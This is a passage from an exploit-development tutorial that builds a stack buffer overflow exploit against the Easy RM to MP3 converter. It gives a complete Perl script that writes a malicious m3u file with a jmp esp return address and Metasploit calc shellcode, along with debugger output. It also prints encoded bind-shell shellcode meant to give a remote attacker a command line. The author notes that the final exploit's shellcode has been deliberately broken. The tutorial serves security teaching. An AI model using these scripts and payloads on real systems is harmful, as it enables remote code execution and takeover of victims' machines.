e4\u201d\u00a0 (which would typically give results from windows dll\u2019s) Note : there are other ways to get opcode addresses :<\/p>\n<ul>\n<li><a href=\"http:\/\/www.securiteam.com\/tools\/5LP0C1PEUY.html\" target=\"_blank\" rel=\"noopener noreferrer\">findjmp<\/a> (from Ryan Permeh) : compile findjmp.c and run with the following parameters :<\/li>\n<\/ul>\n<blockquote>\n<p>findjmp &lt;DLLfile&gt; &lt;register&gt;.\u00a0 Suppose you want to look for jumps to esp in kernel32.dll, run\u00a0 \u201cfindjmp kernel32.dll esp\u201d On Vista SP2, you should get something like this : <em>Findjmp, Eeye, I2S-LaB <\/em> <em>Findjmp2, Hat-Squad<\/em> Scanning kernel32.dll for code useable with the esp register 0x773AF74B\u00a0\u00a0\u00a0\u00a0\u00a0 call esp Finished Scanning kernel32.dll for code useable with the esp register Found 1 usable addresses<\/p>\n<\/blockquote>\n<ul>\n<li>the <a href=\"https:\/\/web.archive.org\/web\/20080704110517\/http:\/\/www.metasploit.org\/users\/opcode\/msfopcode.cgi\" target=\"_blank\" rel=\"noopener noreferrer\">metasploit opcode database<\/a><\/li>\n<li>memdump (see one of the next tutorial posts<\/li>\n<li>pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended because it will automatically filter unreliable pointers.<\/li>\n<\/ul>\n<p>Since we want to put our shellcode in ESP (which is placed in our payload string <span style=\"text-decoration: underline;\">after<\/span> overwriting EIP),\u00a0 the jmp esp address from the list must not have null bytes.\u00a0 If this address would have null bytes, we would overwrite EIP with an address that contains null bytes.\u00a0 Null byte acts as a string terminator, so everything that follows would be ignored.<\/p>\n<p>In some cases, it would be ok to have an address that starts with a null byte.\u00a0 If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register.<\/p>\n<p>And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.<\/p>\n<p>Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes.<\/p>\n<p>The first address will do : 0x01ccf23a Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):<\/p>\n<pre>0:014&gt; u 01ccf23a \nMSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea: <strong><span style=\"color: #ff0000;\">01ccf23a ffe4 jmp esp<\/span><\/strong> \n01ccf23c ff8d4e10c744 dec dword ptr &lt;Unloaded_POOL.DRV&gt;+0x44c7104d (44c7104e)[ebp] \n01ccf242 2410 and al,10h \n01ccf244 ff ??? \n01ccf245 ff ??? \n01ccf246 ff ??? \n01ccf247 ff ??? \n01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)<\/pre>\n<p>If we now \"overwrite\" EIP with 0x01ccf23a, a jmp esp will be executed. Esp contains our shellcode\u2026 so we should now have a working exploit. Let\u2019s test with our \u201cNOP &amp; break\u201d shellcode. Close windbg. Create a new m3u file using the script below :<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"test1.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = pack(<span style=\"color: #006080;\">'V'<\/span>,0x01ccf23a); \nmy $shellcode = <span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; \n$shellcode = $shellcode.<span style=\"color: #006080;\">\"\\xcc\"<\/span>;\u00a0 #this will cause the application to break, simulating shellcode, but allowing you to further debug $shellcode = $shellcode.<span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<div>Run the application again, attach windbg, press \"g\" to continue to run, and open the new m3u file in the application.<\/div>\n<pre>(21c.e54): <span style=\"color: #ff0000;\">Break instruction exception<\/span> - code 80000003 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. Missing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. \nMissing image name, possible paged-<span style=\"color: #0000ff;\">out<\/span> or corrupt data. \n&lt;Unloaded_P32.dll&gt;+0xff734: \n000ff745 cc <span style=\"color: #0000ff;\">int<\/span> 3 \n\n0:000&gt; d esp \n000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ \n000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................ \n000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................ \n000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA \n000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<\/pre>\n<div>\u00a0<\/div>\n<div>The application now breaks at address 000ff745, which is the location of our first break. So the jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744).<\/div>\n<div>All we need to do now is put in our real shellcode and finalize the exploit.<\/div>\n<div>Close windbg again.<\/div>\n<h3>Get shellcode and finalize the exploit<\/h3>\n<p>Metasploit has a nice payload generator that will help you building shellcode.\u00a0\u00a0 Payloads come with various options, and (depending on what they need to do), can be small or very large.\u00a0 If you have a size limitation in terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically handcrafted shellcodes such as <a href=\"http:\/\/packetstormsecurity.org\/shellcode\/23bytes-shellcode.txt\" target=\"_blank\" rel=\"noopener noreferrer\">this one<\/a> (32byte cmd.exe shellcode for xp sp2 en). Alternatively, <a href=\"http:\/\/code.google.com\/p\/w32-seh-omelet-shellcode\/\" target=\"_blank\" rel=\"noopener noreferrer\">you can split up your shellcode in smaller \u2018eggs\u2019<\/a> and use a technique called \u2018egg-hunting\u2019 to reassemble the shellcode before executing it. Tutorial 8 and 10 talk about egg hunting and omelet hunters. Let\u2019s say we want calc to be executed as our exploit payload, then the shellcode could look like this :<\/p>\n<pre># windows\/exec - 144 bytes <br \/># http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> <br \/># Encoder: x86\/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = <span style=\"color: #006080;\">\"\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\"<\/span> . \n<span style=\"color: #006080;\">\"\\x1e\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30\"<\/span> . \n<span style=\"color: #006080;\">\"\\x78\\xbc\\x65\\xc9\\x78\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa\"<\/span> . \n<span style=\"color: #006080;\">\"\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5\\x66\\x29\\x21\\xe7\\x96\"<\/span> . \n<span style=\"color: #006080;\">\"\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05\\x6b\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a\"<\/span> . \n<span style=\"color: #006080;\">\"\\xcf\\x4c\\x4f\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83\"<\/span> . \n<span style=\"color: #006080;\">\"\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9\\xfe\\x51\\x61\"<\/span> . \n<span style=\"color: #006080;\">\"\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05\"<\/span> . <br \/><span style=\"color: #006080;\">\"\\x7f\\xe8\\x7b\\xca\"<\/span>;<\/pre>\n<p>Finalize the perl script, and try it out :<\/p>\n<pre># # Exploit <span style=\"color: #0000ff;\">for<\/span> Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker <br \/># Written by Peter Van Eeckhoutte <br \/># http:<span style=\"color: #008000;\">\/\/www.corelan.be<\/span> <br \/># tested on Windows XP SP3 (En) # # # \nmy $file= <span style=\"color: #006080;\">\"exploitrmtomp3.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = pack(<span style=\"color: #006080;\">'V'<\/span>,0x01ccf23a); \n#jmp esp from MSRMCcodec02.dll \nmy $shellcode = <span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; <br \/># windows\/exec - 144 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> <br \/># Encoder: x86\/shikata_ga_nai # EXITFUNC=seh, CMD=calc \n$shellcode = $shellcode . <br \/><span style=\"color: #006080;\">\"\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\"<\/span> . <span style=\"color: #006080;\">\"\\x1e\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30\"<\/span> . \n<span style=\"color: #006080;\">\"\\x78\\xbc\\x65\\xc9\\x78\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa\"<\/span> . \n<span style=\"color: #006080;\">\"\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5\\x66\\x29\\x21\\xe7\\x96\"<\/span> . \n<span style=\"color: #006080;\">\"\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05\\x6b\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a\"<\/span> . \n<span style=\"color: #006080;\">\"\\xcf\\x4c\\x4f\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83\"<\/span> . \n<span style=\"color: #006080;\">\"\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9\\xfe\\x51\\x61\"<\/span> . \n<span style=\"color: #006080;\">\"\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05\"<\/span> . <br \/><span style=\"color: #006080;\">\"\\x7f\\xe8\\x7b\\xca\"<\/span>; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>First, turn off the autopopup registry setting to prevent the debugger from taking over. Create the m3u file, open it and watch the application die (and calc should be opened as well). Boom ! We have our first working exploit !<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image14.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb14.png\" alt=\"image\" width=\"443\" height=\"252\" border=\"0\" \/><\/a><\/p>\n<blockquote>\n<p>You may have noticed that I kept 25 nops (0x90) before the shellcode.\u00a0 Don't worry about it too much right now. As you will continue to learn about exploiting (and when you reach the chapter about writing shellcode), you will learn why this helps getting the shellcode to work.<\/p>\n<\/blockquote>\n<h3>What if you want to do something else than launching calc ?<\/h3>\n<p>You could create other shellcode and replace the \u201claunch calc\u201d shellcode with your new shellcode, but this code may not run well because the shellcode may be bigger, memory locations may be different, and longer shellcode increases the risk on invalid characters in the shellcode, which need to be filtered out. Let\u2019s say we want the exploit bind to a port so a remote hacker could connect and get a command line. This shellcode may look like this :<\/p>\n<pre># windows\/shell_bind_tcp - 344 bytes <br \/><br \/># http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> <br \/><br \/># Encoder: x86\/shikata_ga_nai # EXITFUNC=seh, LPORT=5555, RHOST= <span style=\"color: #006080;\">\"\\x31\\xc9\\xbf\\xd3\\xc0\\x5c\\x46\\xdb\\xc0\\xd9\\x74\\x24\\xf4\\x5d\"<\/span> . \n<span style=\"color: #006080;\">\"\\xb1\\x50\\x83\\xed\\xfc\\x31\\x7d\\x0d\\x03\\x7d\\xde\\x22\\xa9\\xba\"<\/span> . \n<span style=\"color: #006080;\">\"\\x8a\\x49\\x1f\\xab\\xb3\\x71\\x5f\\xd4\\x23\\x05\\xcc\\x0f\\x87\\x92\"<\/span> . \n<span style=\"color: #006080;\">\"\\x48\\x6c\\x4c\\xd8\\x57\\xf4\\x53\\xce\\xd3\\x4b\\x4b\\x9b\\xbb\\x73\"<\/span> . \n<span style=\"color: #006080;\">\"\\x6a\\x70\\x0a\\xff\\x58\\x0d\\x8c\\x11\\x91\\xd1\\x16\\x41\\x55\\x11\"<\/span> . \n<span style=\"color: #006080;\">\"\\x5c\\x9d\\x94\\x58\\x90\\xa0\\xd4\\xb6\\x5f\\x99\\x8c\\x6c\\x88\\xab\"<\/span> . \n<span style=\"color: #006080;\">\"\\xc9\\xe6\\x97\\x77\\x10\\x12\\x41\\xf3\\x1e\\xaf\\x05\\x5c\\x02\\x2e\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf1\\x60\\x16\\xbb\\x8c\\x0b\\x42\\xa7\\xef\\x10\\xbb\\x0c\\x8b\\x1d\"<\/span> . \n<span style=\"color: #006080;\">\"\\xf8\\x82\\xdf\\x62\\xf2\\x69\\xaf\\x7e\\xa7\\xe5\\x10\\x77\\xe9\\x91\"<\/span> . \n<span style=\"color: #006080;\">\"\\x1e\\xc9\\x1b\\x8e\\x4f\\x29\\xf5\\x28\\x23\\xb3\\x91\\x87\\xf1\\x53\"<\/span> . \n<span style=\"color: #006080;\">\"\\x16\\x9b\\xc7\\xfc\\x8c\\xa4\\xf8\\x6b\\xe7\\xb6\\x05\\x50\\xa7\\xb7\"<\/span> . \n<span style=\"color: #006080;\">\"\\x20\\xf8\\xce\\xad\\xab\\x86\\x3d\\x25\\x36\\xdc\\xd7\\x34\\xc9\\x0e\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4f\\xe0\\x3c\\x5a\\x22\\x45\\xc0\\x72\\x6f\\x39\\x6d\\x28\\xdc\\xfe\"<\/span> . \n<span style=\"color: #006080;\">\"\\xc2\\x8d\\xb1\\xff\\x35\\x77\\x5d\\x15\\x05\\x1e\\xce\\x9c\\x88\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x98\\x3a\\x50\\x05\\x9f\\x14\\x9a\\x33\\x75\\x8b\\x35\\xe9\\x76\\x7b\"<\/span> . \n<span style=\"color: #006080;\">\"\\xdd\\xb5\\x25\\x52\\xf7\\xe1\\xca\\x7d\\x54\\x5b\\xcb\\x52\\x33\\x86\"<\/span> . \n<span style=\"color: #006080;\">\"\\x7a\\xd5\\x8d\\x1f\\x83\\x0f\\x5d\\xf4\\x2f\\xe5\\xa1\\x24\\x5c\\x6d\"<\/span> . \n<span style=\"color: #006080;\">\"\\xb9\\xbc\\xa4\\x17\\x12\\xc0\\xfe\\xbd\\x63\\xee\\x98\\x57\\xf8\\x69\"<\/span> . \n<span style=\"color: #006080;\">\"\\x0c\\xcb\\x6d\\xff\\x29\\x61\\x3e\\xa6\\x98\\xba\\x37\\xbf\\xb0\\x06\"<\/span> . \n<span style=\"color: #006080;\">\"\\xc1\\xa2\\x75\\x47\\x22\\x88\\x8b\\x05\\xe8\\x33\\x31\\xa6\\x61\\x46\"<\/span> . \n<span style=\"color: #006080;\">\"\\xcf\\x8e\\x2e\\xf2\\x84\\x87\\x42\\xfb\\x69\\x41\\x5c\\x76\\xc9\\x91\"<\/span> . \n<span style=\"color: #006080;\">\"\\x74\\x22\\x86\\x3f\\x28\\x84\\x79\\xaa\\xcb\\x77\\x28\\x7f\\x9d\\x88\"<\/span> . \n<span style=\"color: #006080;\">\"\\x1a\\x17\\xb0\\xae\\x9f\\x26\\x99\\xaf\\x49\\xdc\\xe1\\xaf\\x42\\xde\"<\/span> . \n<span style=\"color: #006080;\">\"\\xce\\xdb\\xfb\\xdc\\x6c\\x1f\\x67\\xe2\\xa5\\xf2\\x98\\xcc\\x22\\x03\"<\/span> . \n<span style=\"color: #006080;\">\"\\xec\\xe9\\xed\\xb0\\x0f\\x27\\xee\\xe7\"<\/span>;<\/pre>\n<p>As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes). If you just copy&amp;paste this shellcode, you may see that the vulnerable application does not even crash anymore.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image15.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb15.png\" alt=\"image\" width=\"439\" height=\"82\" border=\"0\" \/><\/a><\/p>\n<p>This - most likely - indicates either a problem with the shellcode buffer size (but you can test the buffer size, you\u2019ll notice that this is not the issue), or we are faced with invalid characters in the shellcode. You can exclude invalid characters when building the shellcode with metasploit, but you\u2019ll have to know which characters are allowed and which aren\u2019t.\u00a0 By default, null bytes are restricted (because they will break the exploit for sure), but what are the other characters ? The m3u file probably should contain filenames. So a good start would be to filter out all characters that are not allowed in filenames and filepaths. You could also restrict the character set altogether by using another decoder. We have used shikata_ga_nai, but perhaps alpha_upper will work better for filenames.\u00a0 Using another encoded will most likely increase the shellcode length, but we have already seen (or we can simulate) that size is not a big issue. Let\u2019s try building a tcp shell bind, using the alpha_upper encoder.\u00a0 We\u2019ll bind a shell to local port 4444.\u00a0 The new shellcode is 703 bytes.<\/p>\n<pre># windows\/shell_bind_tcp - 703 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> # Encoder: x86\/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= <span style=\"color: #006080;\">\"\\x89\\xe1\\xdb\\xd4\\xd9\\x71\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\"<\/span> . <span style=\"color: #006080;\">\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\"<\/span> . <span style=\"color: #006080;\">\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\"<\/span> . <span style=\"color: #006080;\">\"\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\"<\/span> . <span style=\"color: #006080;\">\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\"<\/span> . <span style=\"color: #006080;\">\"\\x4a\\x4a\\x4b\\x50\\x4d\\x4b\\x58\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\"<\/span> . <span style=\"color: #006080;\">\"\\x4f\\x43\\x50\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\"<\/span> . <span style=\"color: #006080;\">\"\\x35\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x44\\x45\\x44\\x38\\x45\\x51\\x4a\"<\/span> . <span style=\"color: #006080;\">\"\\x4f\\x4c\\x4b\\x50\\x4f\\x42\\x38\\x4c\\x4b\\x51\\x4f\\x51\\x30\\x43\"<\/span> . <span style=\"color: #006080;\">\"\\x31\\x4a\\x4b\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\"<\/span> . <span style=\"color: #006080;\">\"\\x4e\\x46\\x51\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4d\\x54\\x49\\x50\\x44\"<\/span> . <span style=\"color: #006080;\">\"\\x34\\x45\\x57\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\"<\/span> . <span style=\"color: #006080;\">\"\\x4b\\x4a\\x54\\x47\\x4b\\x51\\x44\\x51\\x34\\x47\\x58\\x44\\x35\\x4a\"<\/span> . <span style=\"color: #006080;\">\"\\x45\\x4c\\x4b\\x51\\x4f\\x47\\x54\\x43\\x31\\x4a\\x4b\\x45\\x36\\x4c\"<\/span> . <span style=\"color: #006080;\">\"\\x4b\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x45\\x51\\x4a\"<\/span> . <span style=\"color: #006080;\">\"\\x4b\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4d\\x59\\x42\\x4c\\x46\\x44\\x45\"<\/span> . <span style=\"color: #006080;\">\"\\x4c\\x43\\x51\\x48\\x43\\x46\\x51\\x49\\x4b\\x45\\x34\\x4c\\x4b\\x50\"<\/span> . <span style=\"color: #006080;\">\"\\x43\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\"<\/span> . <span style=\"color: #006080;\">\"\\x4c\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x45\\x58\\x51\\x4e\\x43\\x58\\x4c\"<\/span> . <span style=\"color: #006080;\">\"\\x4e\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x50\\x50\\x4b\\x4f\\x48\\x56\\x43\"<\/span> . <span style=\"color: #006080;\">\"\\x56\\x50\\x53\\x45\\x36\\x45\\x38\\x50\\x33\\x50\\x32\\x42\\x48\\x43\"<\/span> . <span style=\"color: #006080;\">&lt;...&gt;<\/span> <span style=\"color: #006080;\">\"\\x50\\x41\\x41\"<\/span>;<\/pre>\n<p>Let\u2019s use this shellcode. The new exploit looks like this :\u00a0 P.S. I have manually broken the shellcode shown here. So if you copy &amp; paste the exploit it will not work. But you should know by now how to make a working exploit.<\/p>\n<pre># # Exploit <span style=\"color: #0000ff;\">for<\/span> Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte # http:<span style=\"color: #008000;\">\/\/www.corelan.be<\/span> # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) # # # \n\nmy $file= <span style=\"color: #006080;\">\"exploitrmtomp3.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"A\"<\/span> x 26094; \nmy $eip = pack(<span style=\"color: #006080;\">'V'<\/span>,0x01ccf23a); #jmp esp from MSRMCcodec02.dll \nmy $shellcode = <span style=\"color: #006080;\">\"\\x90\"<\/span> x 25; # windows\/shell_bind_tcp - 703 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> # Encoder: x86\/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= \n\n$shellcode=$shellcode.<span style=\"color: #006080;\">\"\\x89\\xe1\\xdb\\xd4\\xd9\\x71\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\"<\/span> . <span style=\"color: #006080;\">\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\"<\/span> . \n<span style=\"color: #006080;\">\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\"<\/span> . \n<span style=\"color: #006080;\">\"\\x42\\x41\\x41\\x42\\x54\\x00\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4a\\x4a\\x4b\\x50\\x4d\\x4b\\x58\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4f\\x43\\x50\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\"<\/span> . \n<span style=\"color: #006080;\">\"\\x35\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x44\\x45\\x44\\x38\\x45\\x51\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4f\\x4c\\x4b\\x50\\x4f\\x42\\x38\\x4c\\x4b\\x51\\x4f\\x51\\x30\\x43\"<\/span> . \n<span style=\"color: #006080;\">\"\\x31\\x4a\\x4b\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4e\\x46\\x51\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4d\\x54\\x49\\x50\\x44\"<\/span> . \n<span style=\"color: #006080;\">\"\\x34\\x45\\x57\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4b\\x4a\\x54\\x47\\x4b\\x51\\x44\\x51\\x34\\x47\\x58\\x44\\x35\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x45\\x4c\\x4b\\x51\\x4f\\x47\\x54\\x43\\x31\\x4a\\x4b\\x45\\x36\\x4c\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4b\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x45\\x51\\x4a\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4b\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4d\\x59\\x42\\x4c\\x46\\x44\\x45\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4c\\x43\\x51\\x48\\x43\\x46\\x51\\x49\\x4b\\x45\\x34\\x4c\\x4b\\x50\"<\/span> . \n<span style=\"color: #006080;\">\"\\x43\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4c\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x45\\x58\\x51\\x4e\\x43\\x58\\x4c\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4e\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x50\\x50\\x4b\\x4f\\x48\\x56\\x43\"<\/span> . \n<span style=\"color: #006080;\">\"\\x56\\x50\\x53\\x45\\x36\\x45\\x38\\x50\\x33\\x50\\x32\\x42\\x48\\x43\"<\/span> . \n<span style=\"color: #006080;\">\"\\x47\\x43\\x43\\x47\\x42\\x51\\x4f\\x50\\x54\\x4b\\x4f\\x48\\x50\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x48\\x48\\x4b\\x4a\\x4d\\x4b\\x4c\\x47\\x4b\\x50\\x50\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x56\\x51\\x4f\\x4d\\x59\\x4d\\x35\\x45\\x36\\x4b\\x31\\x4a\\x4d\\x43\"<\/span> . \n<span style=\"color: #006080;\">\"\\x38\\x43\\x32\\x46\\x35\\x43\\x5a\\x44\\x42\\x4b\\x4f\\x4e\\x30\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x48\\x48\\x59\\x45\\x59\\x4c\\x35\\x4e\\x4d\\x50\\x57\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x56\\x46\\x33\\x46\\x33\\x46\\x33\\x50\\x53\\x50\\x53\\x50\\x43\\x51\"<\/span> . \n<span style=\"color: #006080;\">\"\\x43\\x51\\x53\\x46\\x33\\x4b\\x4f\\x4e\\x30\\x43\\x56\\x45\\x38\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x31\\x51\\x4c\\x42\\x46\\x46\\x33\\x4c\\x49\\x4d\\x31\\x4a\\x35\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x48\\x4e\\x44\\x44\\x5a\\x44\\x30\\x49\\x57\\x50\\x57\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x56\\x43\\x5a\\x44\\x50\\x50\\x51\\x51\\x45\\x4b\\x4f\\x4e\\x30\\x43\"<\/span> . \n<span style=\"color: #006080;\">\"\\x58\\x49\\x34\\x4e\\x4d\\x46\\x4e\\x4b\\x59\\x50\\x57\\x4b\\x4f\\x4e\"<\/span> . \n<span style=\"color: #006080;\">\"\\x36\\x50\\x53\\x46\\x35\\x4b\\x4f\\x4e\\x30\\x42\\x48\\x4d\\x35\\x50\"<\/span> . \n<span style=\"color: #006080;\">\"\\x49\\x4d\\x56\\x50\\x49\\x51\\x47\\x4b\\x4f\\x48\\x56\\x50\\x50\\x50\"<\/span> . \n<span style=\"color: #006080;\">\"\\x54\\x50\\x54\\x46\\x35\\x4b\\x4f\\x48\\x50\\x4a\\x33\\x45\\x38\\x4a\"<\/span> . \n<span style=\"color: 